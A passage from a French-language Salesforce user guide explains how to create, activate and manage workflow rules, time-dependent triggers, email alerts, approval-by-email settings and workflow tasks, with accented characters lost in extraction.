Le critre de la rgle est dfini sur chaque cration ou modification d'un enregistrement.
La rgle est active.
Cette rgle est dsactive mais la file d'attente de workflow inclut des actions en attente.

2. Configurez des actions supplmentaires immdiates ou chronologiques.

3. Cliquez sur Termin.
Remarque: Pour les objets standard, les rgles de workflow peuvent effectuer uniquement des mises jour de champ
sur l'objet associ la rgle. Deux exceptions permettent aux fonctions Commentaires sur la requte et E-mail d'effectuer
des mises jour de champ inter-objets sur des Requtes. Pour tous les objets personnaliss, vous pouvez toutefois crer
des actions de workflow qui dclenchent la mise jour d'un champ dans l'enregistrement principal associ lorsqu'un
enregistrement de dtail est modifi. Les mises jour de champs inter-objets fonctionnent uniquement pour les relations
principal-dtail. Par exemple, dans une application de recrutement personnalise, crez une rgle de workflow qui
dfinit le statut d'un application (l'objet principal) Ferm lorsqu'un candidat (l'objet dtail) accepte le poste. Vous
pouvez galement crer une rgle qui modifie le statut Attente de la rponse du client d'une requte en En cours
lorsqu'un client ajoute un commentaire de requte.
La fonction de mise jour de champs inter-objets peut ncessiter l'activation de certaines mises jour critiques. Cliquez
sur Configuration Mises jour critiques pour dterminer si votre organisation ncessite une mise jour.

Activation de la rgle de workflow

Salesforce.com ne dclenche aucune rgle de workflow tant qu'elle n'est pas active. Pour activer une rgle de workflow, cliquez
sur Activer sur la page de dtails de la rgle de workflow. Cliquez sur Dsactiver pour empcher le dclenchement d'une rgle
ou si vous souhaitez modifier les actions chronologiques ou les dclencheurs temporels associs la rgle.

Notes concernant l'utilisation des rgles de workflow

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher les rgles de workflow :

Afficher la configuration

Pour crer ou modifier des rgles de workflow :

Personnaliser l'application

Envisagez les lments suivants lors de la configuration des rgles de workflow :

Chaque rgle de workflow s'applique un objet en particulier (pistes, comptes ou opportunits). Pour obtenir le nombre
maximal de rgles de workflow autorises sur un objet, reportez-vous ditions Salesforce.com et limitations la page
932.
Pour les objets standard, les rgles de workflow peuvent effectuer uniquement des mises jour de champ sur l'objet associ
la rgle. Deux exceptions permettent aux fonctions Commentaires sur la requte et E-mail d'effectuer des mises jour
de champ inter-objets sur des Requtes. Pour tous les objets personnaliss, vous pouvez toutefois crer des actions de

Crer

Guide de l'utilisateur | Gestion des rgles de workflow | 730

workflow qui dclenchent la mise jour d'un champ dans l'enregistrement principal associ lorsqu'un enregistrement de
dtail est modifi. Les mises jour de champs inter-objets fonctionnent uniquement pour les relations principal-dtail.
Par exemple, dans une application de recrutement personnalise, crez une rgle de workflow qui dfinit le statut d'un
application (l'objet principal) Ferm lorsqu'un candidat (l'objet dtail) accepte le poste. Vous pouvez galement crer
une rgle qui modifie le statut Attente de la rponse du client d'une requte en En cours lorsqu'un client ajoute un
commentaire de requte.
La fonction de mise jour de champs inter-objets peut ncessiter l'activation de certaines mises jour critiques. Cliquez
sur Configuration Mises jour critiques pour dterminer si votre organisation ncessite une mise jour.
Les rgles de workflow ne peuvent pas tre dclenches par des champs de statistiques de campagne, y compris des statistiques
de campagne individuelle ou des statistiques de hirarchie de campagne. Pour obtenir une liste des champs de campagne
qui ne peuvent pas tre dclenchs par des rgles de workflow, consultez la rubrique Champs de campagne la page 1189.
Les rgles de workflow peuvent se dclencher chaque sauvegarde ou cration d'un enregistrement, selon les critres de
rgle dfinis. Toutefois, les rgles cres aprs la sauvegarde d'enregistrements ne sont pas dclenches par ces derniers de
faon rtroactive.
Les rgles de workflow sont dclenches lors du renouvellement d'un objet standard dans la relation principal-dtails,
mme si les critres d'valuation de l'objet sont dfinis sur Lors de la cration ou de la modification d'un
enregistrement qui ne rpondait pas aux critres de la rgle.
Les rgles de workflow ne dclenchent que des pistes converties si la validation et les dclencheurs de la conversion de piste
sont activs dans votre entreprise.
Les rgles de workflow concernant des objets personnaliss sont automatiquement supprimes si ces objets sont supprims.
Les rgles de workflow se dclenchent automatiquement et sont invisibles pour l'utilisateur. Les processus d'approbation
permettent galement aux utilisateurs de soumettre des enregistrements pour approbation.
L'ordre d'excution des actions n'est pas garanti. Les actions de mises jour de champ sont excutes en premier lieu,
suivies par les autres actions.
Vous ne pouvez pas crer d'alertes par e-mail pour les rgles de workflow d'activit.
Vous ne pouvez pas crer de messages sortants pour des rgles de workflow sur des objets junction.
Pour crer des rgles de workflow qui mettent jour des champs de requte bass sur de nouveaux commentaires de requte
ou sur des e-mails entrants, slectionnez Commentaires de requte ou E-mails dans la liste droulante Slectionner
un objet. E-mails est disponible uniquement si l'option E-mail vers requte ouE-mail vers requte la demande est
active. Vous pouvez crer des rgles de workflow d'e-mails uniquement pour des mises jour de champs, et des rgles de
workflow de commentaires uniquement pour des mises jour de champs, des alertes par e-mail et des messages sortants.
Par exemple, vous pouvez crer une rgle de workflow de sorte qu'un e-mail marqu comme En cours d'entre modifie
son Statut de requte de Ferm en Nouveau.
L'enregistrement ou la cration d'enregistrements peut dclencher au moins une rgle.
Les actions suivantes ne dclenchent aucune rgle de workflow :
-

Remplacement en masse des valeurs de liste de slection

Mise jour en masse des champs d'adresse
Mise jour en masse des services
Modification des attributions de territoire des comptes et des opportunits
Conversion de pistes en comptes personnels

Les modifications apportes aux enregistrements lors de l'utilisation de Connect Offline sont values par les rgles de
workflow lors de la synchronisation.
Si un champ de recherche fait rfrence un enregistrement qui a t supprim, Salesforce.com configure le champ de
recherche sur nul et n'excute aucun dclencheur Apex, aucune rgle de validation ou de workflow, et aucun champ
rcapitulatif de cumul.

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Guide de l'utilisateur | Gestion des actions de workflow | 731

Conseil: Vous pouvez utiliser la console Journal systme pour dboguer des rgles de workflow. La console Journal
systme permet d'afficher les dtails du journal de dbogage et les informations sur les rgles et actions de workflow,
telles que le nom de l'utilisateur qui a dclench cette rgle de workflow ou le nom et l'ID de l'enregistrement en cours
d'valuation.

Gestion des actions de workflow

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher des rgles, des alertes par e-mail, des tches, des Afficher la configuration
mises jour de champs et des messages sortants de workflow :
Pour crer ou modifier des rgles, des alertes par e-mail, des Personnaliser l'application
tches, des mises jour de champ et des messages sortants de
workflow :

Pour grer vos actions de workflow :

1. Cliquez sur Configuration Crer Workflow & approbations Rgles de Workflow pour accder la page de
liste des rgles de workflow.
2. Cliquez sur le nom de la rgle associe aux actions de workflow modifier.
3. Cliquez sur Modifier dans la section Actions de workflow.
4. Grez vos actions de workflow comme suit :

Cliquez sur Modifier en regard de l'action ou du dclencheur temporel de workflow pour le modifier.
Cliquez sur Supprimer en regard d'une action de workflow pour la supprimer de la rgle. De cette faon, vous dissociez
l'action de workflow de la rgle de workflow, mais ne la supprimez pas pour autant.
Cliquez sur Supprimer en regard du dclencheur temporel pour le supprimer de la rgle. Vous supprimez ainsi le
dclencheur temporel et ses actions associes dans la rgle de workflow sans pour autant les supprimer. Les actions de
workflow restent disponibles lorsque vous cliquez sur Ajouter une action de workflow et slectionnez l'option
Slectionner une action existante.
Cliquez sur Ajouter une action de workflow, dans la section Actions de workflow immdiates, pour ajouter une action
de workflow immdiate la rgle de workflow.
Cliquez sur Ajouter un dclencheur temporel pour ajouter un dclencheur temporel la rgle de workflow.
Cliquez sur Ajouter une action de workflow en regard d'un dclencheur temporel pour lui ajouter des actions de
workflow chronologiques.

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Guide de l'utilisateur | Observations sur les actions chronologiques et les dclencheurs temporels | 732

5. Cliquez sur Termin.

Voir aussi :
Gestion des rgles de workflow
Cration de rgles de workflow
Observations sur les actions chronologiques et les dclencheurs temporels
Slection d'actions existantes

Observations sur les actions chronologiques et les

dclencheurs temporels
Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour dfinir, modifier ou supprimer des actions chronologiques Personnaliser l'application
et des dclencheurs temporels :

Avant de commencer crer des actions chronologiques et des dclencheurs temporels pour vos rgles de workflow, tenez
compte des recommandations suivantes :

Dfinissez vos dclencheurs temporels en utilisant les jours ou les heures comme unit de temps. Les dclencheurs temporels
ne prennent pas en charge les minutes ou les secondes.
Lors de la dfinition d'un dclencheur temporel, utilisez des champs de date et de date/heure standard, ainsi que des champs
personnaliss dfinis pour l'objet.
Le workflow temporel est valu en fonction du fuseau horaire de l'organisation, pas celui des utilisateurs. Les utilisateurs
situs dans des fuseaux horaires diffrents peuvent visualiser les changements de comportement.
Vous ne pouvez pas crer ou modifier des dclencheurs temporels qui rfrencent des champs DATE ou DATETIME contenant
automatiquement des fonctions drives telles que TODAY ou NOW. Les champs de formule qui incluent des champs de
fusion d'objets associs ne sont pas autoriss.
Pour s'assurer qu'une entreprise ne s'approprie pas de ressources partages, Salesforce.com limite le nombre de dclencheurs
temporels que les entreprises peuvent excuter par heure. Ces limites sont les suivantes :
-

Enterprise Edition = 500

Developer Edition = 50
Unlimited Edition = 1 000

Si une entreprise dpasse ces limites, Salesforce.com reporte l'excution des dclencheurs temporels supplmentaires
l'heure suivante. Par exemple, si 1 200 dclencheurs temporels doivent tre excuts entre 16 h et 17 h dans une entreprise
Unlimited Edition, Salesforce.com traite 1 000 dclencheurs temporels dans cette plage horaire et les 200 autres entre 17 h
et 18 h.
Les dclencheurs temporels ne sont pas ncessairement excuts dans l'ordre o ils sont affichs dans la page de dtails de
la rgle de workflow. Les rgles de workflow dressent tout d'abord la liste des dclencheurs temporels qui ont recours au
champ Avant, puis les dclencheurs temporels qui ont recours au champ Aprs.

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Guide de l'utilisateur | Observations sur les actions chronologiques et les dclencheurs temporels | 733

Si vous modifiez un champ de date qui est rfrenc par un dclencheur temporel non activ dans une rgle de workflow
value, Salesforce.com recalcule les dclencheurs temporels non activs associs la rgle. Par exemple, si une rgle de
workflow est planifie pour prvenir le responsable de l'opportunit sept jours avant la date de clture de l'opportunit et
que la date de clture est arrte au 20/02/2011, Salesforce.com envoie l'alerte le 13/02/2011. Si la date de clture est mise
jour pour passer au 10/02/2011 et que le dclencheur temporel n'a pas t excut, Salesforce.com replanifie l'alerte pour
le 3/02/2011. Si Salesforce.com recalcule les dclencheurs temporels afin qu'ils soient excuts une date antrieure,
Salesforce.com dclenche les actions associes peu de temps aprs la sauvegarde de l'enregistrement.
Si l'excution d'un dclencheur temporel d'une rgle de workflow est programme pour une heure antrieure, Salesforce.com
met en file d'attente les actions chronologiques associes afin qu'elles soient excutes dans l'heure, en fonction du degr
d'utilisation du systme. Par exemple, si une rgle de workflow concernant les opportunits est configure de sorte envoyer
une alerte par e-mail sept jours avant la date de clture et que vous crez un enregistrement d'opportunit dont la date de
clture tombe le jour mme, Salesforce.com envoie l'alerte par e-mail dans les quatre heures suivant la cration de
l'opportunit.
Salesforce.com n'affiche pas les contrles d'actions chronologiques sur la page de modification des rgles de workflow si
vous dfinissez les critres d'valuation des rgles de workflow sur chaque cration ou mise jour d'un
enregistrement.
Les actions chronologiques restent dans la file d'attente de workflow uniquement tant que les critres de rgles pour la
rgle de workflow sont valides. Si un enregistrement n'est plus adapt aux critres de rgles, Salesforce.com efface les actions
chronologiques en file d'attente pour cet enregistrement. titre d'exemple, une rgle de workflow d'opportunit peut
prciser :
-

Des critres dfinis sur Opportunit : tat diffrent de Close Gagne, Close Perdue .
Une action chronologique associe un dclencheur temporel dfini sur sept jours avant la date de clture de l'opportunit.

Si un enregistrement correspondant aux critres est cr le 1er juillet et que la date de clture est dfinie sur le 30
juillet, l'action chronologique est planifie pour le 23 juillet. Cependant, si l'opportunit est dfinie sur Close gagne ou
Close perdue avant le 23 juillet, l'action chronologique est automatiquement efface de la file d'attente.

Si vous supprimez un enregistrement qui a des actions en attente, ces dernires sont supprimes de la file d'attente de
workflow et ne peuvent pas tre restaures, mme si vous avez restaur l'enregistrement.
Les actions chronologiques peuvent automatiquement tre remises en file d'attente si l'enregistrement est mis jour et si
vous dfinissez les critres d'valuation sur Lors de la cration ou de la modification d'un
enregistrement qui ne rpondait pas aux critres d'entre. Sur le modle de l'exemple prcdent, si
le statut de l'opportunit est modifi et passe de Close perdue Prospections, et que le critre d'valuation des rgles de
workflow est dfini sur Lors de la cration ou de la modification d'un enregistrement qui ne
rpondait pas aux critres d'entre, Salesforce.com rvalue les dclencheurs temporels et ajoute les actions
appropries la file d'attente de workflow.
Si les critres d'valuation sont dfinis sur Uniquement lors de la cration d'un enregistrement, la rgle
de workflow n'value ses dclencheurs temporels qu'une seule fois. Si l'enregistrement qui a enclench la rgle change et
ne rpond plus aux critres d'valuation, les actions en attente sont effaces de la file d'attente et la rgle n'est plus jamais
applique l'enregistrement.
Vous ne pouvez pas archiver un produit ou un catalogue de prix dont certaines actions sont en attente.
Vous ne pouvez pas convertir une piste dont certaines actions sont en attente.
Si un dclencheur temporel utilise un champ nul, Salesforce.com ignore ce dclencheur.
Vous pouvez dsactiver une rgle de workflow tout moment. Si la rgle comprend des actions en attente dans la file
d'attente de workflow, le fait de modifier l'enregistrement qui a enclench la rgle permet d'effacer les actions en attente
de la file d'attente. Si vous ne modifiez pas l'enregistrement, les actions en attente sont traites mme si la rgle a t
dsactive.
Vous pouvez ajouter des actions aux dclencheurs temporels existants.

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Guide de l'utilisateur | Personnalisation des paramtres de workflow et d'approbation | 734

Vous ne pouvez ni ajouter ni supprimer de dclencheur temporel si l'une des conditions suivantes se vrifie :
-

La rgle de workflow est active.

La rgle de workflow est dsactive mais certaines de ses actions sont en attente dans la file d'attente du workflow.
Le type de dclencheur de la rgle de workflow est dfini sur chaque cration ou modification d'un
enregistrement.

Les rgles de workflow existantes ne sont pas affectes par les actions chronologiques ; Salesforce.com rpertorie toutes les
actions existantes dans la liste des actions de workflow immdiates.
Si l'option Validation et dclencheurs partir de la conversion de piste est activ, les actions de workflow temporelles
existantes sur les pistes ne sont pas dclenches au cours de la conversion de piste.
Si un membre de campagne bas sur une piste est converti avant la fin des actions de workflow temporelles associes, ces
actions continuent d'tre excutes.

Voir aussi :
Gestion des rgles de workflow
Exemples de rgles de workflow
Cration de rgles de workflow
Gestion des actions de workflow

Personnalisation des paramtres de workflow et

d'approbation
Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour modifier les paramtres de workflow et d'approbation : Personnaliser l'application

Pour personnaliser les paramtres des rgles de workflow et des processus d'approbation :
1. Cliquez sur Configuration Crer Workflow & approbations Paramtres.
2. Slectionnez un utilisateur de workflow par dfaut que Salesforce.com doit afficher avec une rgle de workflow
lorsque l'utilisateur l'origine du dclenchement de cette rgle n'est pas actif.
Si votre entreprise utilise des rgles de workflow prsentant des actions chronologiques, vous devez dfinir un utilisateur
de workflow par dfaut. Salesforce.com affiche le nom d'utilisateur dans le champ Cr par pour les tches, dans le champ
relatif l'expditeur du message pour l'e-mail et dans le champ Dernire modification par pour les mises
jour de champ. Salesforce.com n'affiche pas le nom d'utilisateur pour les messages sortants. En cas de problme avec une
action en attente, l'utilisateur de workflow par dfaut reoit une notification par e-mail de Salesforce.com.
3. Pour activer la rponse d'approbation par e-mail pour votre entreprise, cochez la case Activer la rponse
d'approbation par e-mail.
La fonctionnalit E-mails d'auto-rponse permet aux utilisateurs d'approuver ou de refuser les demandes d'approbation
d'e-mails en rpondant au message.

Crer

Guide de l'utilisateur | Gestion des alertes par e-mail | 735

Remarque: Avant d'activer la rponse d'approbation par e-mail, notez que vous ne pouvez pas utiliser cette
fonctionnalit avec des processus d'approbation dans lesquels l'approbateur attribu est une file d'attente ou dans
un processus d'approbation en plusieurs tapes dans lequel l'approbateur suivant est choisi manuellement aprs la
premire tape. De plus, les utilisateurs utilisant Microsoft Word comme diteur d'e-mail doive ajouter les
commentaires la fin de la premire ligne de l'e-mail de rponse au lieu de la seconde.
4. Cliquez sur Enregistrer.
Lorsque vous activez la rponse d'approbation par e-mail, Salesforce.com utilise le modle d'e-mail par dfaut suivant pour
les processus d'approbation, sauf si vous dfinissez un modle d'e-mail personnalis :

[nom de l'utilisateur l'origine de la demande] vous demande d'approuver l'lment suivant.

Pour approuver ou rejeter cet lment, rpondez cet e-mail en inscrivant APPROUVER,
APPROUVE, OUI, REFUSER, REFUSE ou NON sur la premire ligne de l'e-mail, ou cliquez sur
le lien suivant :
[lien vers la page d'approbation]
Si vous rpondez par e-mail, vous pouvez galement ajouter des commentaires dans la seconde
ligne. Les commentaires sont stocks avec la demande d'approbation sur le site
salesforce.com.
Remarque : Pour que salesforce.com puisse traiter votre demande, les termes APPROUVER,
APPROUVE, OUI, REFUSER, REFUSE ou NON doivent se trouver sur la toute premire ligne de
l'e-mail de rponse. Tout commentaire ventuel doit se trouver sur la seconde ligne.

Si vous slectionnez un modle d'e-mail personnalis lors de la configuration de la rponse d'approbation, veillez ce qu'il
prsente les donnes ci-dessus afin que les utilisateurs puissent rpondre correctement la demande d'approbation par e-mail.

Voir aussi :
Gestion des rgles de workflow
Cration de rgles de workflow
FAQ sur la rponse d'approbation par e-mail

Gestion des alertes par e-mail

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher les alertes par e-mail :

Afficher la configuration

Pour crer ou modifier des alertes par e-mail :

Personnaliser l'application

Les alertes par e-mail sont des e-mails gnrs par une rgle de workflow ou un processus d'approbation, et envoys aux
destinataires dsigns chaque dclenchement d'une rgle de workflow ou d'un processus d'approbation par des actions
commerciales spcifiques. Les alertes par e-mail contiennent le texte et la liste standard des destinataires d'un e-mail. Vous

Crer

Guide de l'utilisateur | Gestion des alertes par e-mail | 736

devez spcifier un modle d'e-mail pour les alertes par e-mail. Pour utiliser une adresse d'expdition globale et standard pour
les alertes par e-mail, telle que support@societe.com, configurez d'abord une adresse l'chelle de l'organisation.
Pour commencer utiliser des alertes par e-mail, cliquez sur Configuration Crer Workflow & approbations Alertes
par e-mail.

Cliquez sur Nouvelle alerte par e-mail pour crer une alerte par e-mail.
Slectionnez une alerte par e-mail existante pour en afficher les dtails, crer une alerte par e-mail clone ou afficher toutes
les rgles utilisant cette alerte.
Cliquez sur Modifier pour apporter des modifications une alerte par e-mail existante.
Cliquez sur Suppr pour supprimer une alerte par e-mail.

Voir aussi :
Cration d'alertes par e-mail pour le workflow et les approbations
Gestion du workflow et des approbations
Gestion des rgles de workflow
Diffrences entre les rgles de rponse automatique et les alertes de workflow

Cration d'alertes par e-mail pour le workflow et les approbations

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer ou modifier des rgles de workflow :

Personnaliser l'application

Pour crer ou modifier des alertes par e-mail :

Personnaliser l'application

Pour crer des alertes par e-mail :

1. Cliquez sur Configuration Crer Workflow & approbations Alertes par e-mail.
2. Cliquez sur Nouvelle alerte par e-mail.
3. Configurez l'alerte par e-mail :
a. Saisissez la description de cette alerte par e-mail.
b. Saisissez un nom unique pour rfrencer ce document dans l'API Force.com et viter les conflits de nommage dans les
installations de packages grs. L'exigence de nom unique existe uniquement dans le type d'objet slectionn. Vous
pouvez avoir des actions de mme type (par exemple, deux alertes d'e-mail) portant le mme nom, condition qu'elles
soient dfinies pour des objets diffrents, par exemple une pour des campagnes ou l'autre pour des opportunits. Le
champ Nom unique ne peut contenir que des traits de soulignement et des caractres alphanumriques. Il doit tre
unique dans le type d'objet slectionn, commencer par une lettre, ne pas inclure despace, ne pas se terminer pas un
trait de soulignement et ne doit pas contenir deux traits de soulignement conscutifs.
c. S'il est disponible, choisissez l'objet pour cette alerte par e-mail.
Salesforce.com utilise cet objet lors de la gnration de valeurs de champ de fusion pour les modles d'e-mail avec des
rgles de workflow et des processus d'approbation. Vous pouvez galement dfinir les destinataires de cette alerte par

Crer

Guide de l'utilisateur | Gestion des alertes par e-mail | 737

e-mail en utilisant les champs de recherche de contact et d'utilisateur qui sont appropris pour cet objet. Par exemple,
si vous slectionnez Contrat, vous pouvez dfinir le signataire du contrat comme destinataire. Cet objet est en lecture
seule si la nouvelle alerte par e-mail est associe un processus d'approbation ou une rgle de workflow pour un objet
particulier.
Conseil: Pour crer des rgles de workflow de sorte que les commentaires ajouts aux requtes envoient des
alertes par e-mail lors du dclenchement d'une rgle, slectionnez Commentaire de requte dans la liste droulante
Objet en crant une rgle de workflow.
d. Slectionnez un modle de message.
Remarque: Si le modle d'email que vous choisissez contient des champs de fusion d'approbations nomms
{!ApprovalRequest.field_name}, ces champs renvoient des valeurs uniquement lorsque ce modle
d'e-mail est utilis en tant que modle d'attribution des approbations. Si vous utilisez le modle pour toute
autre action d'alerte d'email, que ce soit dans les rgles de workflow ou dans les processus d'approbation, les
champs de fusion renverront une valeur nulle.
e. Activez la case Composant protg pour marquer l'alerte comme protge.
f. Slectionnez le type de destinataire qui vous souhaitez envoyer cette alerte par e-mail. Options possibles :

Responsable du compteL'utilisateur rpertori comme propritaire du compte lui-mme ou du compte

associ l'enregistrement. Cette option fonctionne seulement pour les alertes d'e-mail sur les comptes, les
opportunits, les requtes, les contacts, les contrats et tout objet personnalis qui est un enfant de l'objet compte.
De plus, un responsable de compte doit tre spcifi pour le compte associ. Si vous slectionnez un autre type
d'objet ou si le compte associ ne possde pas de responsable, Salesforce.com envoie l'alerte e-mail au responsable
de l'enregistrement.
quipe de comptestous les utilisateurs attribus a un rle particulier d'quipe de comptes.
quipe de requtesTous les utilisateurs attribus a un rle particulier d'quipe de requtes.
CrateurL'utilisateur ayant cr l'enregistrement.
Utilisateur du portail clientTous les utilisateurs associs un portail client.
Champ d'adresse e-mailUn champ d'une adresse e-mail dans l'objet slectionn, par exemple, le champ
Adresse e-mail dans les enregistrements de piste ou les champs d'e-mail personnaliss.
Remarque: Lors de la cration d'alertes par e-mail pour des membres de campagne, le champ E-mail fait
rfrence au champ e-mail de la piste ou du contact sur lequel le membre de campagne est bas.

ResponsableLe responsable de l'enregistrement.

Utilisateur partenaire : tous les utilisateurs associs un portail partenaire.
Rle de portailTous les utilisateurs attribus a un rle particulier de portail.
Subordonns et Rles du PortailTous les utilisateurs attribus un rle particulier de portail plus tous

les utilisateurs dont les rles sont infrieurs celui-l.

Groupes publicsLes utilisateurs d'un groupe public particulier.
Contact associUn contact associ dans l'enregistrement. Par exemple, vous pouvez slectionner le champ
Signataire (client) pour les contrats contenant le nom du contact ayant sign.
Utilisateur associUn utilisateur associ dans l'enregistrement. Par exemple, les enregistrements de contrat
sont dots d'un champ Activ par qui contient le nom de l'utilisateur ayant activ le contrat.
RleTous les utilisateurs auxquels un rle particulier a t attribu.
Rle et subordonns internes : tous les utilisateurs ayant un rle particulier, plus tous les utilisateurs dont
les rles sont infrieurs, l'exclusion des utilisateurs du portail partenaire et du portail client.

Crer

Guide de l'utilisateur | Gestion des alertes par e-mail | 738

Rle et subordonns Tous les utilisateurs ayant un rle particulier, plus tous les utilisateurs dont les rles

sont infrieurs celui-l.

UtilisateursUn utilisateur particulier.
quipe de venteUn membre de l'quipe des ventes.
Remarque: L'option Equipe vente est toujours disponible ; toutefois, elle ne fonctionne que pour les
alertes d'e-mail configures pour les opportunits. Elle ne fonctionne pas avec les alertes par e-mail configures
pour des objets enfant d'opportunits.

Les destinataires correspondant vos rsultats de recherche apparaissent dans la liste Destinataires disponibles.
g. Slectionnez les destinataires qui vous souhaitez envoyer cette alerte par e-mail dans la liste Destinataires disponibles
et cliquez sur Ajouter pour les ajouter la liste Destinataires slectionns.
Remarque: Si vous modifiez les objets aprs avoir slectionn des destinataires, Salesforce.com efface la liste
Destinataires slectionns.
h. Vous pouvez galement entrer jusqu' cinq adresses e-mail supplmentaires.
i. Vous pouvez galement remplacer Adresse e-mail de l'expditeur par une adresse l'chelle de l'organisation
dj configure et vrifie. Vous pouvez ainsi utiliser l'adresse e-mail globale standard de votre organisation (telle que
support@societe.com) la place du champ par dfaut De, qui correspond l'adresse e-mail de la personne qui met
jour l'enregistrement.
Seules les adresses e-mail l'chelle de l'organisation vrifies s'affichent dans la liste de slection Adresse e-mail
de l'expditeur.
Remarque: Si vous slectionnez Slectionner comme Adresse e-mail de l'expditeur par dfaut pour les
alertes par e-mail de cet objet, l'Adresse e-mail de l'expditeur est remplace dans toutes les alertes
par e-mail associes cet objet. Lors de l'enregistrement, une bote de dialogue vous invite confirmer votre
slection. Vous pouvez toutefois personnaliser les alertes par e-mail individuelles afin d'utiliser une autre
Adresse e-mail de l'expditeur.
j. Cliquez sur Enregistrer.
Remarque: Si le destinataire de l'e-mail est un responsable d'enregistrement et que ce dernier est une file d'attente,
l'e-mail de file d'attente reoit l'alerte par e-mail. Si la file d'attente est configure de sorte que l'e-mail soit envoy
tous les membres, les membres de la file d'attente sont galement avertis. Si aucun e-mail de file d'attente n'est
spcifi, seuls les membres d'une file d'attente sont avertis.
4. Pour activer des alertes par e-mail, associez-les une rgle de workflow ou un processus d'approbation.

Voir aussi :
Gestion du workflow et des approbations

Crer

Guide de l'utilisateur | Gestion des tches de workflow et des approbations | 739

Gestion des tches de workflow et des approbations

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher les tches :

Afficher la configuration

Pour crer ou modifier des tches :

Personnaliser l'application

Les tches dterminent les dtails d'une tche attribue par une rgle de workflow ou par un processus d'approbation. Crez
des tches, puis associez-leur des rgles de workflow ou des processus d'approbation qui les dclenchent. Lorsque les conditions
commerciales de la rgle de workflow ou du processus d'approbation associ sont dfinies, les tches de workflow prsentant
l'objet, le statut, la priorit et l'chance slectionns sont attribues aux utilisateurs dsigns.
Pour commencer utiliser des tches, cliquez sur Configuration Crer Workflow & approbations Tches.

Cliquez sur Nouvelle tche pour crer une tche de workflow.

Slectionnez une tche existante pour en afficher les dtails, crer une tche clone ou afficher les rgles utilisant cette
tche.
Cliquez sur Modifier pour apporter des modifications une tche existante.
Cliquez sur Suppr pour supprimer une tche.
Remarque: Avant de crer la tche d'un objet personnalis, assurez-vous du suivi des activits par l'objet personnalis.

Voir aussi :
Cration de tches de workflow et d'approbations
Gestion du workflow et des approbations
Gestion des rgles de workflow

Cration de tches de workflow et d'approbations

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer ou modifier des tches :

Personnaliser l'application

Pour crer ou modifier des rgles de workflow :

Personnaliser l'application

Pour crer vos tches :

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Guide de l'utilisateur | Gestion des tches de workflow et des approbations | 740

1. Cliquez sur Configuration Crer Workflow & approbations Tches.

2. Cliquez sur Nouvelle tche.
3. Choisissez un type d'enregistrement, puis cliquez sur Suivant. N'oubliez pas que les tches ne peuvent tre associes qu'
des rgles de workflow ou des processus d'approbation prsentant le mme type d'objet.
Remarque: Seuls les objets personnaliss qui assurent le suivi des activits sont disponibles lors de la cration de
tches associes ce type d'objet.
4. Configurer la tche :
a. Slectionnez un bnficiaire. Selon le type d'enregistrement choisi, le bnficiaire peut tre un utilisateur, un rle, un
responsable d'enregistrement, un crateur d'enregistrement, un rle dans l'quipe de vente ou dans l'quipe de comptes.
Remarque:

Si le bnficiaire d'une tche est le responsable de l'enregistrement et que le responsable d'une piste ou d'une
requte est une file d'attente, la personne ayant dclench la rgle devient le bnficiaire de la tche.
Si l'objet est traduit, Salesforce.com cre une tche dans la langue du bnficiaire. Si l'objet est traduit et
que vous avec activ Notifier le bnficiaire pour la tche, Salesforce.com envoie l'e-mail dans la langue du
bnficiaire. Cependant, si seul le champ des commentaires est traduit, Salesforce.com cre une tche et
envoie l'e-mail dans la langue de l'utilisateur ayant dclench la tche.
Si un objet personnalis a une relation principal-dtails avec un objet standard, le responsable de
l'enregistrement de l'objet standard principal devient automatiquement responsable de l'enregistrement de
l'objet personnalis. Par exemple, si un objet personnalis nomm Dpenses a une relation principal-dtails
avec un objet Comptes, le responsable de chaque enregistrement de dpense est galement responsable du
compte de la dpense.
De mme, si le bnficiaire d'une tche de workflow est un rle possdant plusieurs utilisateurs, la personne
ayant dclench la rgle devient le bnficiaire de la tche, quel que soit son rle. Il est recommand de ne
pas attribuer de tches aux rles possdant plusieurs utilisateurs. L'attribution de tches aux rles possdant
un utilisateur permet de modifier facilement l'utilisateur de ce rle sans modifier la rgle de workflow.

b. Entrez l'objet de la tche.

c. Saisissez un nom unique pour rfrencer ce document dans l'API Force.com et viter les conflits de nommage dans les
installations de packages grs. L'exigence de nom unique existe uniquement dans le type d'objet slectionn. Vous
pouvez avoir des actions de mme type (par exemple, deux alertes d'e-mail) portant le mme nom, condition qu'elles
soient dfinies pour des objets diffrents, par exemple une pour des campagnes ou l'autre pour des opportunits. Le
champ Nom unique ne peut contenir que des traits de soulignement et des caractres alphanumriques. Il doit tre
unique dans le type d'objet slectionn, commencer par une lettre, ne pas inclure despace, ne pas se terminer pas un
trait de soulignement et ne doit pas contenir deux traits de soulignement conscutifs.
d. Choisissez une chance, un statut et une priorit. Les chances sont indiques dans le fuseau horaire du bnficiaire.
e. Cochez la case Notifier le bnficiaire pour envoyer une notification par e-mail lorsque la tche est attribue.
f. Cochez la case Composant protg pour marquer la tche comme tant protge. Pour plus d'informations,
reportez-vous Composants protgs la page 845.
g. Entrez des commentaires associer la tche.
h. Cliquez sur Enregistrer.
5. Pour activer des tches, associez-les une rgle de workflow ou un processus d'approbation.

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Guide de l'utilisateur | Gestion des mises jour de champ | 741

Remarque: Vous remarquerez peut-tre que toutes vos tches contiennent un champ Cre par. Lorsqu'il s'agit
de tches, ce champ contient le nom de la personne ayant effectu l'enregistrement dclencheur de la rgle et de
l'attribution de la tche.

Voir aussi :
Gestion du workflow et des approbations

Gestion des mises jour de champ

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher les mises jour de champs :

Afficher la configuration

Pour dfinir, modifier ou supprimer des mises jour de

champ :

Personnaliser l'application

Les mises jour de champ vous permettent de remplacer automatiquement la valeur d'un champ par une valeur de votre choix.
Les mises jour de champ sont des actions associes des rgles de workflow ou des processus d'approbation.
